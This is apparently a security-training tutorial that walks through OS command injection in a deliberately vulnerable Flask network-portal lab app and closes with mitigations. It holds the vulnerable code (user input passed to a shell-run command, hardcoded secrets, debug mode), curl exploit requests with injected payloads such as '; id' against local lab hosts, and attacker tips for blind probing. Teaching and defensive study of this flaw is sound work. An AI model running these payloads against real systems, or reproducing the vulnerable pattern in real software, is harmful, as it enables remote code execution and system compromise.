PyFu

Vanilla Command Injection in Flask Application

Python-based Web Application Attacks

The Python Command Injection section broke down the individual functions that hand strings to the system shell. This section shows the same flaw in its natural habitat: a real Flask application where user input travels from an HTTP request, through several layers of helper functions, and into subprocess.Popen(..., shell=True). Tracing that path end to end is what turns an abstract sink into an exploitable bug.

For example, we have a dummy application that works as a simple network management portal. It allows users to authenticate, access a dashboard that displays network devices, and trigger network discovery tasks through an SNMP scanning function.

from flask import Flask, render_template, request, redirect, url_for, session, flash, jsonify
import subprocess
import json
import os

app = Flask(__name__)
app.secret_key = 'super-secret-key'

users = {
    'pyfu': 'pyfu'
}

def discover_device(network_device):
    command = f"snmpwalk -v2c -c public {network_device}"
    output = execute_commands(command)
    return output

def execute_commands(cmd):
    process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = process.communicate()
    return stdout.decode() + stderr.decode()

def load_devices():
    with open('devices.json', 'r') as f:
        return json.load(f)

@app.route('/', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username in users and users[username] == password:
            session['username'] = username
            return redirect(url_for('dashboard'))
        else:
            flash('Invalid credentials')
    return render_template('login.html')

@app.route('/dashboard')
def dashboard():
    if 'username' not in session:
        return redirect(url_for('login'))
    devices = load_devices()
    return render_template('dashboard.html', devices=devices)

@app.route('/discover', methods=['POST'])
def discover():
    if 'username' not in session:
        return jsonify({'error': 'Unauthorized'}), 401

    try:
        data = request.get_json()
        network_target = data.get('network_target')
        output = discover_device(network_target)
        return jsonify({'result': output})
    except Exception as e:
        return jsonify({'error': str(e)}), 400

@app.route('/logout')
def logout():
    session.pop('username', None)
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True)

This is the discover function that we are interested in:

@app.route('/discover', methods=['POST'])
def discover():
    if 'username' not in session:
        return jsonify({'error': 'Unauthorized'}), 401

    try:
        data = request.get_json()
        network_target = data.get('network_target')
        output = discover_device(network_target)
        return jsonify({'result': output})
    except Exception as e:
        return jsonify({'error': str(e)}), 400

We notice that once authenticated, users are able to send HTTP POST requests to the /discover API endpoint, which accepts a JSON payload containing the network target to be scanned.

After receiving the request, the application extracts the value of network_target from the JSON body and forwards it to the discover_device function.

def discover_device(network_device):
    command = f"snmpwalk -v2c -c public {network_device}"
    output = execute_commands(command)
    return output

Inside this function, a command string is constructed by interpolating the user-supplied input directly into the SNMP command.

The function prepares the following command format: snmpwalk -v2c -c public {network_device}. This string, containing the untrusted user input, is then passed to the next layer for execution using the execute_commands function.

def execute_commands(cmd):
    process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = process.communicate()
    return stdout.decode() + stderr.decode()

The execute_commands function is responsible for invoking system commands using Python’s subprocess module.

Specifically, it calls subprocess.Popen() with the shell=True argument. This allows the provided command string to be interpreted and executed by the system shell.

After execution, the function collects both the standard output and standard error, decodes them, and returns the combined result back to the caller.

At this stage, the vulnerability becomes evident. Since the attacker fully controls the network_device input, and this input is inserted into a shell-interpreted command without any form of validation or sanitization, arbitrary shell commands can be injected and executed.

Exploit The Bug

An attacker can easily exploit this vulnerability by crafting a malicious payload that injects additional shell commands into the discovery request.

In this specific example, the attacker needs to authenticate to access the vulnerable /discover endpoint.

Fortunately, for demonstration purposes, valid credentials are known and configured as pyfu:pyfu. This allows us to fully simulate the exploitation flow from authentication to command injection.

The first step is to authenticate using the valid credentials. Since the application uses Flask sessions stored in a cookie, we can send a POST request to the login form to obtain a valid session cookie.

curl -i -X POST http://localhost:5000/ \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=pyfu&password=pyfu"

After submitting this request, the response headers will include a Set-Cookie header that contains the Flask session:

Set-Cookie: session=eyJ...<session_cookie>...; HttpOnly; Path=/

The attacker extracts this session token and uses it in the next request, and once the valid session is obtained, the attacker can proceed to exploit the vulnerable /discover endpoint by including the session cookie in the request.

The following curl command demonstrates how the attacker can supply a malicious payload to trigger OS command injection:

curl -X POST http://localhost:5000/discover \
-H "Content-Type: application/json" \
-H "Cookie: session=eyJ...<session_cookie>..." \
-d '{"network_target": "127.0.0.1; id"}'

And after sending the command, we can see that our command was executed and we got the command output:

hackpad :: PyFu/flask-fu/flask-os-command-injection » curl -X POST http://localhost:5000/discover \
-H "Content-Type: application/json" \
-H "Cookie: session=eyJ1c2VybmFtZSI6InB5ZnUifQ.aDxwuw.S2Y4YESw-dP4YwEBFxA_iibXusQ" \                                    
-d '{"network_target": "127.0.0.1; id"}'

{
  "result": "uid=1001(user) gid=1001(user) groups=1001(user),27(sudo),100(users)\n/bin/sh: 1: snmpwalk: not found\n"
}
hackpad :: PyFu/flask-fu/flask-os-command-injection » 

Remember, The use of shell=True is critical here because it enables the shell to process special characters and operators provided by the attacker, resulting in a classical OS command injection scenario.

Why command injection matters from an offensive security perspective

Command injection is the most direct finding I can ask for, because it is remote code execution with no gadget chain and no object-graph climbing. A single ;, |, $(...), or backtick in an input that reaches shell=True runs my command as the application user, which on a lot of deployments is root or a service account with cloud credentials, and from there the box is mine. Python web apps hand this to me constantly, because shelling out to system utilities (ping, snmpwalk, ffmpeg, imagemagick, git, nmap) is a normal way to build features, and developers reach for shell=True because it is the path of least resistance.

These are the tells I hunt for in an assessment:

  • shell=True anywhere. subprocess.Popen/run/call(cmd, shell=True), os.system, os.popen, and commands.getoutput are the sinks; I grep for them and trace the string back to its source.
  • A command built with an f-string or concatenation. f"snmpwalk ... {target}" feeding a shell is the canonical injectable shape, often buried one or two helper functions away from the route.
  • Functionality that names a system tool. Network scanners, media converters, archive handlers, and DNS lookups usually wrap a CLI binary, which is where the input meets the shell.
  • Reflected command output. Endpoints that return stdout/stderr give me direct confirmation; a ; id that prints a uid= line removes all doubt.
  • Blind variants. When output is not reflected I confirm with time delays (; sleep 10) or out-of-band callbacks before escalating.

The defender takeaway: drop shell=True, pass an argument list so metacharacters lose meaning, validate the input against the format you actually expect, and run with least privilege.

Proof of exploitation

Run the lab app (PyFuLabs/flask-fu/flask-os-command-injection). After logging in, the network_target value is interpolated into a command built with shell=True, so a ; chains an attacker command:

curl -s -c jar -d "username=pyfu&password=pyfu" http://pyfu.local/flask-fu/flask-os-command-injection/ -o /dev/null
curl -s -b jar -H "Content-Type: application/json" \
  -d '{"network_target":"127.0.0.1; id"}' \
  http://pyfu.local/flask-fu/flask-os-command-injection/discover
{"result":"uid=0(root) gid=0(root) groups=0(root)\n/bin/sh: 1: snmpwalk: not found\n"}

The injected ; id executed before the intended snmpwalk command even failed to resolve.

Mitigation

The fix is to never build a shell command by interpolating user input. Drop shell=True and call the program with an argument list such as subprocess.run(["snmpwalk", "-v2c", "-c", "public", target]), so the target is passed as a single argument and shell metacharacters like ; lose all meaning. Validate the target against the format you actually expect, an IP address or hostname, reject anything else, and run the process with the least privilege necessary.